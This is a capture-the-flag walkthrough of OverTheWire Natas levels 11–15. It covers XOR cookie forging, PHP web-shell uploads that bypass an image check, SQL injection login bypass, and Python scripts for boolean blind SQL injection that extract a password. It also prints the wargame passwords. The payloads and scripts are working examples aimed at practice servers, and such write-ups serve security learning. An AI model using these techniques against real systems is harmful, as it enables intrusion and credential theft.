Home Natas: Level 11 - 15
Post
Cancel

Natas: Level 11 - 15

Natas 11

Username: natas11

Password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

Url: http://natas11.natas.labs.overthewire.org/

This challenge has a simple input box where we can change the background color, and a view source link

It also tells us the the cookies are encrypted with XOR encryption. First let me explain a little about xor encryption.

There is one famous identity about XOR which is

A xor B = C

A xor C = B

B xor C = A

Now lets look at the source code:

As we can see to gain access to the next level password we need to provide a cookie where showpassword=yes, the cookie is encrypted with xor and we do not have the key. Also showpassword=no is hardcoded in the cookie meaning we can not change it from the application logic.

If we had the xor key we could simply create our own cookie with showpassword=yes and encrypt the cookie with our known xor cookie.

From the source code we notice that the saveData function json encodes our cookie, then it is passed to xor_encrypt then it is base64 encoded.

So our cookie (without changing the bg-color ) looks like this once decoded: {"showpassword":"no","bgcolor":"#ffffff"}

We have access to our cookie by viewing the requests or installing a simple cookie manager on your browser. Meaning we know the following:

ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D XOR key = {"showpassword":"no","bgcolor":"#ffffff"}

And from the XOR identity i mentioned before we can use:

ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D XOR {"showpassword":"no","bgcolor":"#ffffff"} = key

Lets try it in cyberchef:

And we have the key, again from the source code xor_encrypt loops over the key until the end of the cookie meaning we can see our key is qw8J

Lets use cyberchef again to create our own cookie with showpassword=yes and encrypt it with our known key (i changed the bgcolor as well to feel more 1337):

Lets send this over to the challenge

It worked, we got the password and our bgcolor changed ;)


Natas 12

Username: natas12

Password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

Url: http://natas12.natas.labs.overthewire.org/

Browsing to the challenge site we see a simple upload functionality and a view source code link

Lets upload a jpeg image to see what happens (under 1KB image). im going to open up burp suite as well as id like to repeat the requests

Uploading a file just shows us the link to the uploaded image

We also notice that our image name has changed to some random value lets have a look at the source code.

By looking at the source code we can see in the makeRandomPath it does not check if we provided a valid file extension (.jpg), meaning we can upload php files and gain Remote Code Execution.

We can upload a simple web shell like so:

And in the filename parameter place any name with .php at the end. Lets upload and see what happens

By navigating to the uploaded file and providing the GET parameter saint as a command we can see i have successfull executed the whoami command:

Now lets simply cat the natas13 password with saint=cat /etc/natas_webpass/natas13


Natas 13

Username: natas13

Password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

Url: http://natas13.natas.labs.overthewire.org/

Natas13 webpage look exactly the same as natas12 except here it states at the top of the page For security reasons, we now only accept image files!, lets look at the source code

From the source code we see an extra layer of security being implemented, it uses the php function exif_imagetype to check if we are sending an image. By googling about this function we can see what it actually does. https://www.php.net/manual/en/function.exif-imagetype.php

reads the first bytes of an image and checks its signature.

It just reads the first bytes of the image, these are called magic bytes. Im not going to go into to much detail about this but we can simply bypass this check by providing the magic bytes at the begining of our file. Like so:

Now that function will return false, and since it uses the extension we provide all we need to do is add .php to the filename like the screenshot above.

Lets see if it uploads and then try and execute the whoami command

And voila, RCE. Now like before we can read the natas14 password


Natas 14

Username: natas14

Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

Url: http://natas14.natas.labs.overthewire.org/

Here we have a login page, trying to guess some credentials gives us an access denied message, lets take a look at the source code.

Here we notice a simple SQL injection point at the query parameter. It does not sanitize our input and just concatanates it to the query, meaning if we enter something like this as the username: " or 1=1;-- -

We can login as the first user in the database without a password. This results as a successful login and it gives us the password for natas15


Natas 15

Username: natas15

Password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

Url: http://natas15.natas.labs.overthewire.org/

This challenge looks quite interesting, all we have is a username field and it checks if the username exists in the database or not. Lets take a look at the source code.

The first lines shows us that there is a username and a password column in the database. We notice we have the developer did not learn their lesson from before as we have an SQL injection in the username field again. If we enter " or 1=1;-- - like before we get a username exists message.

This shows us that our SQL injection worked as it found a user in the database (by providing 1=1). But what can we do with this information, since here it does not just print the password for natas16.

Well lets see if natas16 exists in the database by providing natas16 as the username.

Okay so we note down that natas16 exists in the database.

Lets try natas16" and 1=1;-- -

This returns This user exists because we have SQL injection and because 1 is always equal to 1. Now lets try natas16" and 1=0;-- -

This returns This user doesn't exist since 1 does not equal to 0 and in boolean algebra we know that 1 and 0 is equal to 0.

This is called Boolean Blind SQL injection. We can simply ask the database what exists in the password and it will answer with a True (user exists) or False (user does not exist)

For example we could provide natas16" and password like binary '%a%';-- -, meaning if the letter a is anywhere in the password it will return True. Now we know that the letter a is in the natas16 password.

If we provide natas16" and password like binary '%b%';-- - we get a user does not exist meaning that the letter b is not in the password

Here i wrote a simple python script that will check for all letters in the password, i use a for loop to go over all letters and digits and check if the response has This user exists in it and add that char to a variable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
from string import ascii_letters, digits

url = "http://natas15.natas.labs.overthewire.org/index.php"

headers = { # Header requierd to access the challenge
"Authorization":"Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=="
}

letters=ascii_letters + digits
all_chars = ""

for char in letters:
	data = {
		"username":'natas16" and password like binary "%'+char+'%";-- -'
	}

	r = requests.post(url, data, headers=headers)

	if "This user exists" in r.text:
		all_chars+=char
		print(all_chars)

print("All chars in password: " + all_chars)

These are all the chars in the password, but obviously no in the correct order. To find which place each char belongs to we can use one % in the sql statement like so: natas16" and password like binary "a%";-- -

This checks if the letter a is at the beginning of the password. Now our script looks something like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
from string import ascii_letters, digits

url = "http://natas15.natas.labs.overthewire.org/index.php"

headers = { # Header requierd to access the challenge
	"Authorization":"Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=="
}

all_chars = "acehijmnpqtwBEHINORW03569"
password = ""

for i in range(32):
	for char in all_chars:
		data = {
		"username":'natas16" and password like binary "'+password+char+'%";-- -'
		}
		r = requests.post(url, data, headers=headers)

		if "This user exists" in r.text:
			password+=char
			print(password)
			break

I add both scripts as one instead of two seperate

This post is licensed under CC BY 4.0 by the author.